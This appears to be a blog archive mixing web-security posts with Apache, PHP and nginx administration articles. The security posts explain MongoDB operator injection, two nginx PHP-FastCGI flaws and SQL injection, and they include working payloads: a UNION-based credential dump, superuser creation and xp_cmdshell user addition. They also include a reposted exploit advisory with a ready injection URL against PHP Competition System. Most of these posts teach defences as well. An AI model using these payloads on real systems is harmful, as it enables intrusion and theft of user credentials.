Jan 10

Its a common misconception that as MongoDB does not use SQL it is not vulnerable to SQL injection attacks. PHP uses objects rather than SQL to pass queries to the MongoDB server; for example the following script selects an item form MongoDB where the username equals ‘bob’ and the password equals ‘password’.

$collection->find(array(

       "username" => $_GET['username'],

       "passwd" => $_GET['passwd']

));

This is equivalent to the SQL syntax

mysql_query("SELECT * FROM collection
       WHERE username=" . $_GET['username'] . ",
       AND passwd=" . $_GET['passwd'])

In a normal SQL injection attack we can replace either of the two input parameters with a string such that the SQL query always returns true. e.g.

login.php?username=admin&passwd=" OR 1 --

That wont work with MongoDB; however if we can pass in an object to the PHP MongoDB driver we could alter the query in a similar fashion. Luckily PHP provides us with a way to pass objects as GET or POST parameters:

login.php?username=admin&passwd[$ne]=1

This creates the MongoDB query

$collection->find(array(
     "username" => "admin",
     "passwd" => array("$ne" => 1)
));

Which is the equivalent to the following SQL statement which, unless the password is “1″ will always return true.

mysql_query("SELECT * FROM collection
    WHERE username="admin",
    AND passwd!=1

The solution is to ensure your variables are properly typed before they are passed into the MongoDB driver. The following code is not vulnerable to MongoDB injection:

$collection->find(array(
     "username" => (string)$_GET['username'],
     "passwd" => (string)$_GET['passwd']
));

Tagged with:
Aug 25

I came across a separate null-byte injection vulnerability in older versions of nginx (0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37). By taking advantage of this vulnerability, an attacker can cause a server that uses PHP-FastCGI to execute any publicly accessible file on the server as PHP.

In vulnerable versions of nginx, null bytes are allowed in URIs by default (their presence is indicated via a variable named zero_in_uri defined in ngx_http_request.h). Individual modules have the ability to opt-out of handling URIs with null bytes. However, not all of them do; in particular, the FastCGI module does not.

The attack itself is simple: a malicious user who makes a request to http://example.com/file.ext%00.php causes file.ext to be parsed as PHP. If an attacker can control the contents of a file served up by nginx (ie: using an avatar upload form) the result is arbitrary code execution. This vulnerability can not be mitigated by nginx configuration settings like try_files or PHP configuration settings like cgi.fix_pathinfo: the only defense is to upgrade to a newer version of nginx or to explicitly block potentially malicious requests to directories containing user-controlled content.

# This location block will prevent an attacker from exploiting

# this vulnerability using files in the 'uploads' or 'other_uploads' directory

location ~ ^/(uploads|other_uploads)/.*.php$

{

deny all;

}

Although the affected versions of nginx are relatively old (0.7.66 was released June 7th, 2010, 0.8.38 was released May 24th 2010), no mention of the change appears in the release notes. As a result, administrators may be running vulnerable servers without realizing their risk. I discovered a couple places where vulnerable packages were being distributed:

  1. Ubuntu Lucid Lynx (Ubuntu’s current LTS offering) and Hardy Heron (via both the hardy and hardy-backports repositories) provided vulnerable versions of nginx via apt-get. The lucid and hardy packages have been updated: hardy-backports is awaiting approval. [1] [2]
  2. Fedora provides a vulnerable version in its EPEL-4 repository. At this time, an updated package has not been released.

or anyone who’s curious, the changes can be found at r3528 from svn://svn.nginx.org. At that time, it appears trunk corresponded to nginx 0.8: r3599 merged r3528 into the nginx 0.7 branch. The corresponding commit message is "remove r->zero_in_uri." I’ve reproduced the output of svn diff below:

Index: src/http/ngx_http_request.h

===================================================================

--- src/http/ngx_http_request.h (revision 3527)

+++ src/http/ngx_http_request.h (revision 3528)

@@ -56,7 +56,7 @@

#define NGX_HTTP_PARSE_INVALID_HEADER 13

-#define NGX_HTTP_ZERO_IN_URI 1

+/* unused 1 */

#define NGX_HTTP_SUBREQUEST_IN_MEMORY 2

#define NGX_HTTP_SUBREQUEST_WAITED 4

#define NGX_HTTP_LOG_UNSAFE 8

@@ -435,9 +435,6 @@

/* URI with "+" */

unsigned plus_in_uri:1;

- /* URI with "" or "%00" */

- unsigned zero_in_uri:1;

-

unsigned invalid_header:1;

unsigned valid_location:1;

Index: src/http/ngx_http_core_module.c

===================================================================

--- src/http/ngx_http_core_module.c (revision 3527)

+++ src/http/ngx_http_core_module.c (revision 3528)

@@ -1341,7 +1341,7 @@

/* no content handler was found */

- if (r->uri.data[r->uri.len - 1] == '/' && !r->zero_in_uri) {

+ if (r->uri.data[r->uri.len - 1] == '/') {

if (ngx_http_map_uri_to_path(r, &path, &root, 0) != NULL) {

ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,

@@ -2104,7 +2104,6 @@

ngx_log_debug2(NGX_LOG_DEBUG_HTTP, c->log, 0,

"http subrequest \"%V?%V\"", uri, &sr->args);

- sr->zero_in_uri = (flags & NGX_HTTP_ZERO_IN_URI) != 0;

sr->subrequest_in_memory = (flags & NGX_HTTP_SUBREQUEST_IN_MEMORY) != 0;

sr->waited = (flags & NGX_HTTP_SUBREQUEST_WAITED) != 0;

Index: src/http/ngx_http_special_response.c

===================================================================

--- src/http/ngx_http_special_response.c (revision 3527)

+++ src/http/ngx_http_special_response.c (revision 3528)

@@ -517,8 +517,6 @@

r->err_status = overwrite;

- r->zero_in_uri = 0;

-

if (ngx_http_complex_value(r, &err_page->value, &uri) != NGX_OK) {

return NGX_ERROR;

}

Index: src/http/ngx_http_upstream.c

===================================================================

--- src/http/ngx_http_upstream.c (revision 3527)

+++ src/http/ngx_http_upstream.c (revision 3528)

@@ -1815,10 +1815,6 @@

return NGX_DONE;

}

- if (flags & NGX_HTTP_ZERO_IN_URI) {

- r->zero_in_uri = 1;

- }

-

if (r->method != NGX_HTTP_HEAD) {

r->method = NGX_HTTP_GET;

}

Index: src/http/ngx_http_parse.c

===================================================================

--- src/http/ngx_http_parse.c (revision 3527)

+++ src/http/ngx_http_parse.c (revision 3528)

@@ -438,8 +438,7 @@

r->plus_in_uri = 1;

break;

case '':

- r->zero_in_uri = 1;

- break;

+ return NGX_HTTP_PARSE_INVALID_REQUEST;

default:

state = sw_check_uri;

break;

@@ -496,8 +495,7 @@

r->plus_in_uri = 1;

break;

case '':

- r->zero_in_uri = 1;

- break;

+ return NGX_HTTP_PARSE_INVALID_REQUEST;

}

break;

@@ -526,8 +524,7 @@

r->complex_uri = 1;

break;

case '':

- r->zero_in_uri = 1;

- break;

+ return NGX_HTTP_PARSE_INVALID_REQUEST;

}

break;

@@ -1202,7 +1199,7 @@

ch = *p++;

} else if (ch == '') {

- r->zero_in_uri = 1;

+ return NGX_HTTP_PARSE_INVALID_REQUEST;

}

state = quoted_state;

@@ -1304,8 +1301,7 @@

}

if (ch == '') {

- *flags |= NGX_HTTP_ZERO_IN_URI;

- continue;

+ goto unsafe;

}

if (ngx_path_separator(ch) && len > 2) {

@@ -1449,34 +1445,19 @@

void

ngx_http_split_args(ngx_http_request_t *r, ngx_str_t *uri, ngx_str_t *args)

{

- u_char ch, *p, *last;

+ u_char *p, *last;

- p = uri->data;

+ last = uri->data + uri->len;

- last = p + uri->len;

+ p = ngx_strlchr(uri->data, last, '?');

- args->len = 0;

+ if (p) {

+ uri->len = p - uri->data;

+ p++;

+ args->len = last - p;

+ args->data = p;

- while (p < last) {

-

- ch = *p++;

-

- if (ch == '?') {

- args->len = last - p;

- args->data = p;

-

- uri->len = p - 1 - uri->data;

-

- if (ngx_strlchr(p, last, '') != NULL) {

- r->zero_in_uri = 1;

- }

-

- return;

- }

-

- if (ch == '') {

- r->zero_in_uri = 1;

- continue;

- }

+ } else {

+ args->len = 0;

}

}

Index: src/http/modules/ngx_http_gzip_static_module.c

===================================================================

--- src/http/modules/ngx_http_gzip_static_module.c (revision 3527)

+++ src/http/modules/ngx_http_gzip_static_module.c (revision 3528)

@@ -89,10 +89,6 @@

return NGX_DECLINED;

}

- if (r->zero_in_uri) {

- return NGX_DECLINED;

- }

-

gzcf = ngx_http_get_module_loc_conf(r, ngx_http_gzip_static_module);

if (!gzcf->enable) {

Index: src/http/modules/ngx_http_index_module.c

===================================================================

--- src/http/modules/ngx_http_index_module.c (revision 3527)

+++ src/http/modules/ngx_http_index_module.c (revision 3528)

@@ -116,10 +116,6 @@

return NGX_DECLINED;

}

- if (r->zero_in_uri) {

- return NGX_DECLINED;

- }

-

ilcf = ngx_http_get_module_loc_conf(r, ngx_http_index_module);

clcf = ngx_http_get_module_loc_conf(r, ngx_http_core_module);

Index: src/http/modules/ngx_http_random_index_module.c

===================================================================

--- src/http/modules/ngx_http_random_index_module.c (revision 3527)

+++ src/http/modules/ngx_http_random_index_module.c (revision 3528)

@@ -86,10 +86,6 @@

return NGX_DECLINED;

}

- if (r->zero_in_uri) {

- return NGX_DECLINED;

- }

-

if (!(r->method & (NGX_HTTP_GET|NGX_HTTP_HEAD|NGX_HTTP_POST))) {

return NGX_DECLINED;

}

Index: src/http/modules/ngx_http_dav_module.c

===================================================================

--- src/http/modules/ngx_http_dav_module.c (revision 3527)

+++ src/http/modules/ngx_http_dav_module.c (revision 3528)

@@ -146,10 +146,6 @@

ngx_int_t rc;

ngx_http_dav_loc_conf_t *dlcf;

- if (r->zero_in_uri) {

- return NGX_DECLINED;

- }

-

dlcf = ngx_http_get_module_loc_conf(r, ngx_http_dav_module);

if (!(r->method & dlcf->methods)) {

Index: src/http/modules/ngx_http_flv_module.c

===================================================================

--- src/http/modules/ngx_http_flv_module.c (revision 3527)

+++ src/http/modules/ngx_http_flv_module.c (revision 3528)

@@ -80,10 +80,6 @@

return NGX_DECLINED;

}

- if (r->zero_in_uri) {

- return NGX_DECLINED;

- }

-

rc = ngx_http_discard_request_body(r);

if (rc != NGX_OK) {

Index: src/http/modules/ngx_http_static_module.c

===================================================================

--- src/http/modules/ngx_http_static_module.c (revision 3527)

+++ src/http/modules/ngx_http_static_module.c (revision 3528)

@@ -66,10 +66,6 @@

return NGX_DECLINED;

}

- if (r->zero_in_uri) {

- return NGX_DECLINED;

- }

-

log = r->connection->log;

/*

Index: src/http/modules/ngx_http_autoindex_module.c

===================================================================

--- src/http/modules/ngx_http_autoindex_module.c (revision 3527)

+++ src/http/modules/ngx_http_autoindex_module.c (revision 3528)

@@ -160,10 +160,6 @@

return NGX_DECLINED;

}

- if (r->zero_in_uri) {

- return NGX_DECLINED;

- }

-

if (!(r->method & (NGX_HTTP_GET|NGX_HTTP_HEAD))) {

return NGX_DECLINED;

}

Index: src/http/modules/perl/ngx_http_perl_module.c

===================================================================

--- src/http/modules/perl/ngx_http_perl_module.c (revision 3527)

+++ src/http/modules/perl/ngx_http_perl_module.c (revision 3528)

@@ -168,10 +168,6 @@

static ngx_int_t

ngx_http_perl_handler(ngx_http_request_t *r)

{

- if (r->zero_in_uri) {

- return NGX_HTTP_NOT_FOUND;

- }

-

r->main->count++;

ngx_http_perl_handle_request(r);

Tagged with:
Jun 22

Installing PHP 5.2.x or 5.3.x on RedHat ES5, CentOS 5, etc

To install PHP 5.2.5 (Highest in repository at this time) you can make use of a RPM repository maintained by Remi.

1. download about software

wget http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-4.noarch.rpm
wget http://rpms.famillecollet.com/enterprise/remi-release-5.rpm

2. install

rpm -Uvh remi-release-5*.rpm epel-release-5*.rpm

3. update php

yum –enablerepo=remi update php

Tagged with:
May 26

nginx [engine x] is a HTTP and reverse proxy server, as well as a mail proxy server written by Igor Sysoev. It has been running for more than five years on many heavily loaded Russian sites including. The vulnerability will let error file type as php file. It’s a very critical bug.

Generally, nginx will parse php file by cgi. Example:

location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
include fastcgi_params;
}

In location part,nginx will proceed request by URI variable, and the SCRIPT_FILENAME’s value will be defined by $fastcgi_script_name, the $fastcgi_script_name variable default is open by cgi.fix_pathinfo option  in php.ini file.

Assume, have a the url http://www.goitowrld.com/nginx.jpg, you can try to visit fllow url.

http://www.goitworld.com/nginx.jpg/nginx.php

will have a URI /nginx.jpg/nginx.php

By location command,the request will submit to fastcgi proceed,the SCRIPT_FILENAME variable will set to /script/nginx.jpg/nginx.php

while cgi.fix_pathinfo parameter have been set to 1, now it will split SCRIPT_FILENAME and PATH_INFO to

/script/nginx.jpg and nginx.php

Final the nginx.jpg will be parsed as php file.

Brose url http://www.goitowrld.com/nginx.jpg respone

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 20 May 2010 10:05:30 GMT
Content-Type: image/jpeg
Content-Length: 18
Last-Modified: Thu, 20 May 2010 06:26:34 GMT
Connection: keep-alive
Keep-Alive: timeout=20
Accept-Ranges: bytes

Brose url http://www.goitowrld.com/nginx.jpg/nginx.php respone

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 20 May 2010 10:06:49 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=20
X-Powered-By: PHP/5.2.6

Solution:

1.modify php.ini file and set parameter

cgi.fix_pathinfo=0

2.modify nginx config file

if ( $fastcgi_script_name ~ \..*\/.*php ) {
return 403;
}

Tagged with:
Aug 27

SQL Injection
Many web developers are unaware of how SQL queries can be tampered with, and assume that an SQL query is a trusted command. It means that SQL queries are able to circumvent access controls, thereby bypassing standard authentication and authorization checks, and sometimes SQL queries even may allow access to host operating system level commands.

Direct SQL Command Injection is a technique where an attacker creates or alters existing SQL commands to expose hidden data, or to override valuable ones, or even to execute dangerous system level commands on the database host. This is accomplished by the application taking user input and combining it with static parameters to build a SQL query. The following examples are based on true stories, unfortunately.

Owing to the lack of input validation and connecting to the database on behalf of a superuser or the one who can create users, the attacker may create a superuser in your database.

Example 1:

<?php
$offset = $argv[0]; // beware, no input validation!
$query  = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
$result = pg_query($conn, $query);
?>

Normal users click on the ‘next’, ‘prev’ links where the $offset is encoded into the URL. The script expects that the incoming $offset is a decimal number. However, what if someone tries to break in by appending a urlencode()’d form of the following to the URL

0; insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd) select ‘crack’, usesysid, ‘t’,'t’,'crack’ from pg_shadow where usename=’postgres’; –

If it happened, then the script would present a superuser access to him. Note that 0; is to supply a valid offset to the original query and to terminate it.

Note: It is common technique to force the SQL parser to ignore the rest of the query written by the developer with which is the comment sign in SQL.

A feasible way to gain passwords is to circumvent your search result pages. The only thing the attacker needs to do is to see if there are any submitted variables used in SQL statements which are not handled properly. These filters can be set commonly in a preceding form to customize WHERE, ORDER BY, LIMIT and OFFSET clauses in SELECT statements. If your database supports the UNION construct, the attacker may try to append an entire query to the original one to list passwords from an arbitrary table. Using encrypted password fields is strongly encouraged.

Example 2:

<?php
$query  = "SELECT id, name, inserted, size FROM products
                  WHERE size = '$size'
                  ORDER BY $order LIMIT $limit, $offset;";
$result = odbc_exec($conn, $query);
?>

The static part of the query can be combined with another SELECT statement which reveals all passwords:

‘ union select ’1′, concat(uname||’-'||passwd) as name, ’1971-01-01′, ’0′ from usertable; –

If this query (playing with the and ) were assigned to one of the variables used in $query, the query beast awakened.

SQL UPDATE’s are also susceptible to attack. These queries are also threatened by chopping and appending an entirely new query to it. But the attacker might fiddle with the SET clause. In this case some schema information must be possessed to manipulate the query successfully. This can be acquired by examining the form variable names, or just simply brute forcing. There are not so many naming conventions for fields storing passwords or usernames.

Example 3:

<?php
$query = "UPDATE usertable SET pwd='$pwd' WHERE uid='$uid';";
?>

But a malicious user sumbits the value ‘ or uid like’%admin%’; – to $uid to change the admin’s password, or simply sets $pwd to "hehehe’, admin=’yes’, trusted=100 " (with a trailing space) to gain more privileges. Then, the query will be twisted:

<?php
// $uid == ' or uid like'%admin%'; --
$query = "UPDATE usertable SET pwd='...' WHERE uid='' or uid like '%admin%'; --";
// $pwd == "hehehe', admin='yes', trusted=100 "
$query = "UPDATE usertable SET pwd='hehehe', admin='yes', trusted=100 WHERE
...;";
?>

A frightening example how operating system level commands can be accessed on some database hosts.

Example 4:

<?php
$query  = "SELECT * FROM products WHERE id LIKE '%$prod%'";
$result = mssql_query($query);
?>

If attacker submits the value a%’ exec master..xp_cmdshell ‘net user test testpass /ADD’ – to $prod, then the $query will be:

<?php
$query  = "SELECT * FROM products
                    WHERE id LIKE '%a%'
                    exec master..xp_cmdshell 'net user test testpass /ADD'--";
$result = mssql_query($query);
?>

MSSQL Server executes the SQL statements in the batch including a command to add a new user to the local accounts database. If this application were running as sa and the MSSQLSERVER service is running with sufficient privileges, the attacker would now have an account with which to access this machine.

Note: Some of the examples above is tied to a specific database server. This does not mean that a similar attack is impossible against other products. Your database server may be similarly vulnerable in another manner.

Avoiding techniques

You may plead that the attacker must possess a piece of information about the database schema in most examples. You are right, but you never know when and how it can be taken out, and if it happens, your database may be exposed. If you are using an open source, or publicly available database handling package, which may belong to a content management system or forum, the intruders easily produce a copy of a piece of your code. It may be also a security risk if it is a poorly designed one.

These attacks are mainly based on exploiting the code not being written with security in mind. Never trust any kind of input, especially that which comes from the client side, even though it comes from a select box, a hidden input field or a cookie. The first example shows that such a blameless query can cause disasters.

  • Never connect to the database as a superuser or as the database owner. Use always customized users with very limited privileges.
  • Check if the given input has the expected data type. PHP has a wide range of input validating functions, from the simplest ones found in Variable Functions and in Character Type Functions (e.g. is_numeric(), ctype_digit() respectively) and onwards to the Perl compatible Regular Expressions support.
  • If the application waits for numerical input, consider verifying data with is_numeric(), or silently change its type using settype(), or use its numeric representation by sprintf().

  • Example 5:

    <?php
    settype($offset, 'integer');
    $query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
    // please note %d in the format string, using %s would be meaningless
    $query = sprintf("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;",
    $offset);
    ?>

    Besides these, you benefit from logging queries either within your script or by the database itself, if it supports logging. Obviously, the logging is unable to prevent any harmful attempt, but it can be helpful to trace back which application has been circumvented. The log is not useful by itself, but through the information it contains. More detail is generally better than less.

    Tagged with:
    Aug 16

    ###############################################################
    #################### Viva IslaM Viva IslaM ####################
    ##
    ## Remote SQL Injection Vulnerability ( show_matchs.php competition )
    ##
    ## PHP Competition System BETA <= V0.84
    ##
    ## http://phpcompet.free.fr/
    ##
    ## http://phpcompet.free.fr/download_en.html
    ###############################################################
    ###############################################################
    ##
    ## AuTh0r : Mr.SQL
    ##
    ## H0ME   : WwW.55a.NeT
    ##
    ## Email  : SQL@Hotmail.iT
    ##
    ########################
    ########################
    ##
    ## -[[: Exploite :]]-
    ##
    ## www.TraGeT.CoM/PATH/show_matchs.php?competition=1&season=1&day=-1+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,CONCAT_WS(0x3a,name,passwd,email),0,0,0,0+from+pcs_users–
    ## www.TraGeT.CoM/PATH/persons.php?pageno=0′
    ##
    ########################
    ########################
    You can to find other vulne in other files :))
    #########################################################################################################
    #########################################################################################################
                                      -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
    :: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: MoHaMeD el 3rab :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
    #########################################################################################################
    #########################################################################################################

    Tagged with:
    Jul 06

    Linux, Apache, MySQL, and PHP (or Perl) form the basis of the LAMP architecture for Web applications. Many open source packages based on LAMP components are available to solve a variety of problems. As the load on an application increases, the bottlenecks in the underlying infrastructure become more apparent in the form of slow response to user requests. The previous article showed you how to tune the Linux system and covered the basics of LAMP and performance measurement. This article focuses on the Web server components, Apache and PHP.

    Tuning Apache

    Apache is a highly configurable piece of software. It has a lot of features, but each one comes at a price. Tuning Apache is partially an exercise in proper allocation of resources, and involves stripping down the configuration to only what’s needed.

    Configuring the MPM

    Apache is modular in that you can add and remove features easily. Multi-Processing Modules (MPMs) provide this modular functionality at the core of Apache — managing the network connections and dispatching the requests. MPMs let you use threads or even move Apache to a different operating system.

    Only one MPM can be active at one time, and it must be compiled in statically with --with-mpm=(worker|prefork|event).

    The traditional model of one process per request is called prefork. A newer, threaded, model is called worker, which uses multiple processes, each with multiple threads to get better performance with lower overhead. The final, event MPM is an experimental module that keeps separate pools of threads for different tasks. To determine which MPM you’re currently using, execute httpd -l.

    Choosing the MPM to use depends on many factors. Setting aside the event MPM until it leaves experimental status, it’s a choice between threads or no threads. On the surface, threading sounds better than forking, if all the underlying modules are thread safe, including all the libraries used by PHP. Prefork is the safer choice; you should do careful testing if you choose worker. The performance gains also depend on the libraries that come with your distribution and your hardware.

    Regardless of which MPM you choose, you must configure it appropriately. In general, configuring an MPM involves telling Apache how to control how many workers are running, whether they’re threads or processes. The important configuration options for the prefork MPM are shown in Listing 1.

    Listing 1. Configuration of the prefork MPM

    StartServers       50
    MinSpareServers   15
    MaxSpareServers   30
    MaxClients       225
    MaxRequestsPerChild  4000

    In the prefork model, a new process is created per request. Spare processes are kept idle to handle incoming requests, which reduces the start-up latency. The previous configuration starts 50 processes as soon as the Web server comes up and tries to keep between 10 and 20 idle servers running. The hard limit on processes is dictated by MaxClients. Even though a process can handle many consecutive requests, Apache kills off processes after 4,000 connections, which mitigates the risk of memory leaks.

    Configuring the threaded MPMs is similar, except that you must determine how many threads and processes are to be used. The Apache documentation explains all the parameters and calculations necessary.

    Choosing the values to use involves some trial and error. The most important value is MaxClients. The goal is to allow enough worker processes or threads to run without causing your server to swap excessively. If more requests come in than can be handled, then at least those that made it through get service; the others are blocked.

    If MaxClients is too high, then all clients experience poor service because the Web server tries to swap out one process to allow another one to run. Too low a setting means you may deny services unnecessarily. Checking the number of processes running at high loads and the resulting memory footprint of all the Apache processes gives you a good idea of how to set this value. If you go over 256 MaxClients, you must also set ServerLimit to the same number; read the MPM’s documentation carefully for the associated caveats.

    Tuning the number of servers to start and keep spare depends on the role of the server. If the server runs only Apache, you can use modest values as shown in Listing 1, because you’re able to make full use of the machine. If the system is shared with a database or other server, then you should limit the number of spare servers being run.

    Using options and overrides efficiently

    Each request that Apache processes goes through a complicated set of rules that dictates any restrictions or special instructions the Web server must follow. Access to a folder can be restricted by IP address to a certain folder, or a username and password can be configured. These options also include the handling of certain files, such as if a directory listing is provided, how certain filetypes are to be handled, or whether the output should be compressed.

    These configurations take the form of containers in httpd.conf such as <Directory> to specify that the configuration to follow refers to a location on disk, or <Location> to indicate that the reference is to a path in the URL. Listing 2 shows a Directory container in action.

    Listing 2. A Directory container being applied to the root directory

    <Directory />
        AllowOverride None
        Options FollowSymLinks
    </Directory>

    In Listing 2, the configuration enclosed in the Directory and /Directory tags is applied to the given directory and everything under it — in this case, the root directory. Here, the AllowOverride tag dictates that users aren’t allowed to override any options (more on this later). The FollowSymLinks option is enabled, which lets Apache look past symlinks to serve the request, even if the file is outside the directory containing Web files. This means that if a file in your Web directory is a symlink to /etc/passwd, the Web server happily serves the file if asked. With -FollowSymLinks used instead, this feature is disabled, and the same request causes an error to be returned to the client.

    This last scenario is a cause for concern on two fronts. The first is a performance matter. If FollowSymLinks is disabled, then Apache must check each component of the filename (directories and the file itself) to make sure they’re not symbolic links. This incurs extra overhead in the form of disk activity. A companion option called FollowSymLinksIfOwnerMatch follows the symbolic link if the owner of the file is the same as that of the link. This has the same performance hit as disabling following of symlinks. For best performance, use the options in Listing 2.

    Security-conscious readers should be alert by now. Security is always a trade-off between functionality and risk. In this case, the functionality is speed, and the risk is allowing unauthorized access to files on the system. One of the mitigations is that LAMP application servers are generally dedicated to a particular function, and users can’t create the potentially dangerous symbolic links. If it’s vital to have symbolic link-checking enabled, you can restrict it to a particular area of the file system, as in Listing 3.

    Listing 3. Restricting FollowSymLinks to a user’s directory

    <Directory />
       Options FollowSymLinks
    </Directory>
    
    <Directory /home/*/public_html>
       Options -FollowSymLinks
    </Directory>

    In Listing 3, any public_html directory in a user’s home directory has the FollowSymLinks option removed for it and any child directories.

    As you’ve seen, options can be configured on a per-directory basis through the main server configuration. Users can override this server configuration themselves (if permitted by the administrator by the AllowOverrides statement) by dropping a file called .htaccess into a directory. This file contains additional server directives that are loaded and followed on each request to the directory where the .htaccess file resides. Despite the earlier discussion about not having users on the system, many LAMP applications use this functionality to control access and for URL rewriting, so it’s wise to understand how it works.

    Even though the AllowOverrides statement prevents users from doing anything you don’t want them to, Apache must still look for the .htaccess file to see if there is any work to be done. A parent directory can specify directives that are to be processed by requests from child directories, which means Apache must also search each component of the directory tree leading to the requested file. Understandably, this causes a great deal of disk activity on each request.

    The easiest solution is to not allow any overrides, which eliminates the need for Apache to check for .htaccess. Any special configurations are then placed directly in httpd.conf. Listing 4 shows the additions to httpd.conf to enable password checking for a user’s project directory, rather than putting in a .htaccess file and relying on AllowOverrides.

    Listing 4. Moving .htaccess configuration into httpd.conf

    <Directory /home/user/public_html/project/>
      AuthUserFile /home/user/.htpasswd
      AuthName "uber secret project"
      AuthType basic
      Require valid-user
    </Directory>

    If the configuration is moved into httpd.conf and AllowOverrides is disabled, disk usage can be reduced. A user’s project may not attract many hits, but consider how powerful this technique is when applied to a busy site.

    Sometimes it’s not possible to eliminate use of .htaccess files. For example, in Listing 5, where an option is restricted to a certain part of the file system, overrides can also be scoped.

    Listing 5. Scoping .htaccess checking

    <Directory />
      AllowOverrides None
    </Directory>
    
    <Directory /home/*/public_html>
      AllowOverrides AuthConfig
    </Directory>

    After you implement Listing 5, Apache still looks for .htaccess files in the parent directories, but it stops in the public_html directory because the rest of the file system has the functionality disabled. For example, if a file that maps to /home/user/public_html/project/notes.html is requested, only the public_html and project directories are searched.

    One final note about per-directory configurations is in order. Any document about tuning Apache will tell you to disable DNS lookups through the HostnameLookups off directive because trying to reverse-resolve every IP address connecting to your server is a waste of resources. However, any limitations based on hostname force the Web server to perform a reverse lookup on the client’s IP address and a forward lookup on the result of that to verify the authenticity of the name. Therefore, it’s wise to avoid using access controls based on the client’s hostname and to scope them as described when they’re necessary.

    Persistent connections

    When a client connects to a Web server, it’s allowed to issue multiple requests over the same TCP connection, which reduces the latency associated with multiple connections. This is useful when a Web page refers to several images: The client can request the page and then all the images over one connection. The downside is that the worker process on the server has to wait for the session to be closed by the client before it can move on to the next request.

    Apache lets you configure how persistent connections, called keepalives, are handled. KeepAlive 5 at the global level of httpd.conf allows the server to handle 5 requests on a connection before forcing the connection closed. Setting this number to 0 disables the use of persistent connections. KeepAliveTimeout, also at the global level, determines how long Apache will wait for another request before closing the session.

    Handling persistent connections isn’t a one-size-fits-all configuration. Some Web sites fare better with keepalives disabled (KeepAlive 0), and some experience a tremendous benefit by having them on. The only solution is to try both and see for yourself. It’s advisable, though, to use a low timeout such as 2 seconds with KeepAliveTimeout 2 if you enable keepalives. This ensures that any client wishing to make another request has ample time, and that worker processes aren’t idling while waiting for another request that may never come.

    Compression

    The Web server can compress the output before it’s sent back to the client. This results in a smaller page being sent over the Internet at the expense of CPU cycles on the Web server. For those servers that can afford the CPU overhead, this is an excellent way of making pages download faster — it isn’t unheard of for pages to be a third of their size after compression.

    Images are generally already compressed, so compression should be limited to text output. Apache provides compression through mod_deflate. Although mod_deflate can be simple to turn on, it includes many complexities that the manual is eager to explain. This article doesn’t cover the configuration of compression except to provide a link to the appropriate documentation (see the Resources section.)

    Tuning PHP

    PHP is the engine that runs the application code. You should install only the modules you plan to use and have your Web server configured to use PHP only for script files (usually those ending in .php) and not all static files.

    Opcode caching

    When a PHP script is requested, PHP reads the script and compiles it into what’s called Zend opcode, a binary representation of the code to be executed. This opcode is then executed by the PHP engine and thrown away. An opcode cache saves this compiled opcode and reuses it the next time the page is called. This saves a considerable amount of time. Several opcode caches are available; I’ve had a great deal of success with eAccelerator.

    Installing eAccelerator requires the PHP development libraries on your computer. Because different Linux distributions place files in difference places, it’s best to get the installation instructions directly from the eAccelerator Web site (see the Resources section for a link). It’s also possible that your distribution has already packaged an opcode cache, and you just have to install it.

    Regardless of how you get eAccelerator on your system, there are a few configuration options to look at. The configuration file is usually /etc/php.d/eaccelerator.ini. eaccelerator.shm_size defines the size of the shared memory cache, which is where the compiled scripts are stored. The value is in megabytes. Determining the proper size depends on your application. eAccelerator provides a script to show the status of the cache, which includes the memory usage; 64 megabytes is a good start (eaccelerator.shm_size="64"). You may also have to tweak your kernel’s maximum shared memory size if the value you choose isn’t accepted. Add kernel.shmmax=67108864 to /etc/sysctl.conf, and run sysctl -p to make the setting take effect. The value for kernel.shmmax is in bytes.

    If the shared memory allocation is exceeded, eAccelerator must purge old scripts from memory. By default, this is disabled; eaccelerator.shm_ttl = "60" specifies that when eAccelerator runs out of shared memory, any script that hasn’t been accessed in 60 seconds should be purged.

    Another popular alternative to eAccelerator is the Alternative PHP Cache (APC). The makers of Zend also have a commercial opcode cache that includes an optimizer to further increase efficiency.

    php.ini

    You configure PHP in php.ini. Four important settings control how much system resources PHP can consume, as listed in Table 1.

    Table 1. Resource related settings in php.ini

    Setting Description Recommended value
    max_execution_time How many CPU-seconds a script can consume 30
    max_input_time How long (seconds) a script can wait for input data 60
    memory_limit How much memory (bytes) a script can consume before being killed 32M
    output_buffering How much data (bytes) to buffer before sending out to the client 4096

    These numbers depend mostly on your application. If you accept large files from users, then max_input_time may have to be increased, either in php.ini or by overriding it in code. Similarly, a CPU- or memory-heavy program may need larger settings. The purpose is to mitigate the effect of a runaway program, so disabling these settings globally isn’t recommended. Another note on max_execution_time: This refers to the CPU time of the process, not the absolute time. Thus a program that does lots of I/O and few calculations may run for much longer than max_execution_time. It’s also how max_input_time can be greater than max_execution_time

    The amount of logging that PHP can do is configurable. In a production environment, disabling all but the most critical logs saves disk writes. If logs are needed to troubleshoot a problem, you can turn up logging as needed. error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR turns on enough logging to spot problems but eliminates a lot of chatter from scripts.


    Summary

    This article focused on tuning the Web server, both Apache and PHP. With Apache, the general idea is to eliminate extra checks the Web server must do, such as processing the .htaccess file. You must also tune the Multi-Processing Module you’re using to balance the system resources used with the availability of idle workers for incoming requests. The best thing you can do for PHP is to install an opcode cache. Keeping your eye on a few resource settings also ensures that scripts don’t hog resources and make the system slow for everyone else.

    The next and final article in this series will look at tuning the MySQL database. Stay tuned!

    Tagged with:
    Jun 09

